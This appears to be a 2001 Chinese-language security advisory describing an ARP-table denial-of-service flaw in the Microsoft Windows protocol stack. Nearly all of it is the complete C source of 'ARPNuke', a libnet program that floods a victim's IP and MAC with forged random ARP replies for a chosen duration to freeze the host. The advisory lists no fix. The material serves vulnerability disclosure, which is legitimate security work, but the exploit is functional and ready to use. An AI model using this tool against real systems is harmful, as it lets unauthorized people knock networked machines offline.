Microsoft Windows协议堆栈在处理arp 表存在问题发布时间:2001-08-07 更新时间:2001-08-07 严重程度:中 威胁程度:远程拒绝服务 错误类型:设计错误 利用方式:服务器模式 受影响系统 Microsoft Windows详细描述 Microsoft Windows协议堆栈在处理arp 表存在问题,ARP使用一些不 高效数据结构处理代码来管理ARP条目,这种处理在主机遇到大量ARP 请求时会导致死锁。对WINDOWS机器发送大量的随机源IP和任意MAC地址 的ARP请求包,会导致CPU使用率达到100%并机器死锁。 测试代码 /**************************************************** * * * ARPNuke * * nuke local hosts by random ARP traffic * * by IhaQueR * * * ****************************************************/ extern "C" { #include <time.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pcap.h> #include <libnet.h> #include <sys/times.h> } #define TMPBUFLEN 256 #define IP_LEN 4 #define MAC_LEN 6 // packet burst #define PSEQ 50 // packet preload #define STARTSEQ 15000 const unsigned char ethernull[6] = {0,0,0,0,0,0}; const unsigned char etherbcast[6] = {255,255,255,255,255,255}; u_char* sniffdevice; // prints MAC void print_mac(unsigned char* mac) { printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]); } // sprints MAC char* sprint_mac(unsigned char* mac) { static char tmpbuf[TMPBUFLEN]; sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]); return tmpbuf; } // prints IP void print_ip(unsigned char* ip) { printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]); } // sprints IP char* sprint_ip(unsigned char* ip) { static char tmpbuf[TMPBUFLEN]; sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]); return tmpbuf; } // reads MAC void get_mac(u_char* mac, char* optarg) { int i=0; char* ptr = strtok(optarg, ":-"); while(ptr) { unsigned nmb; sscanf(ptr, "%x", &nmb); mac[i] = (u_char)nmb; ptr = strtok(NULL, ":-"); i++; } } // reads IP void get_ip(u_char* ip, char* ipstr) { int i=0; char* ptr = strtok(ipstr, "."); while(ptr && i<4) { ip[i] = (unsigned char)atoi(ptr); ptr = strtok(NULL, "."); i++; } } main(int ac, char** av) { // usage if(ac<4) printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1); srand(time(NULL)); long long duration = atoi(av[3]); unsigned pseq = PSEQ; if(ac>4) pseq = atoi(av[4]); u_char victim_mac[MAC_LEN]; get_mac(victim_mac, av[2]); u_char victim_ip[IP_LEN]; get_ip(victim_ip, av[1]); u_char randmac[MAC_LEN]; u_char randip[IP_LEN]; bzero(randmac, sizeof(randmac)); print_mac(victim_mac); print_ip(victim_ip); printf("\npacket burst: %d", pseq); printf("\nfreezing host for %d seconds\n", (int)duration); struct timeval tv; gettimeofday(&tv, NULL); long long ts1 = tv.tv_sec; ts1 *= 1000000; ts1 += tv.tv_usec; // init libnet struct sockaddr_in sin; u_char errbuf[TMPBUFLEN]; if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf) != 1) { printf("\nERROR selecting device"); } else { libnet_link_int* mylink; mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf); if(mylink == NULL) { printf("\nERROR opening link interface: %s", errbuf); } else { long long ts2 = ts1; int i=0, j=0; // send random arp packets for(i=0; i<sizeof(randmac); i++) randmac[i] = rand() % 256; u_char buf[64]; bzero(buf, sizeof(buf)); while((ts2-ts1) < duration*1000000) { gettimeofday(&tv, NULL); ts2 = tv.tv_sec; ts2 *= 1000000; ts2 += tv.tv_usec; if(j > STARTSEQ && (j % pseq) == (pseq-1)) { usleep(1); } j++; for(i=0; i<sizeof(randip); i++) randip[i] = rand() % 256; libnet_build_ethernet((u_char *)victim_mac, randmac, ETHERTYPE_ARP, NULL, 0, buf); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY, randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H); libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H); } long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H); double mb = mbytes; mb /= 1024.0; mb /= 1024.0; mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H); double mbr = mbytes; mbr /= 1024.0; mbr /= 1024.0; mbr /= duration; printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j, (j-STARTSEQ)/duration); printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]", mb, mbr); } } printf("\n\n"); return 0; } 解决方案 尚无 相关信息 paul at starzetz.de |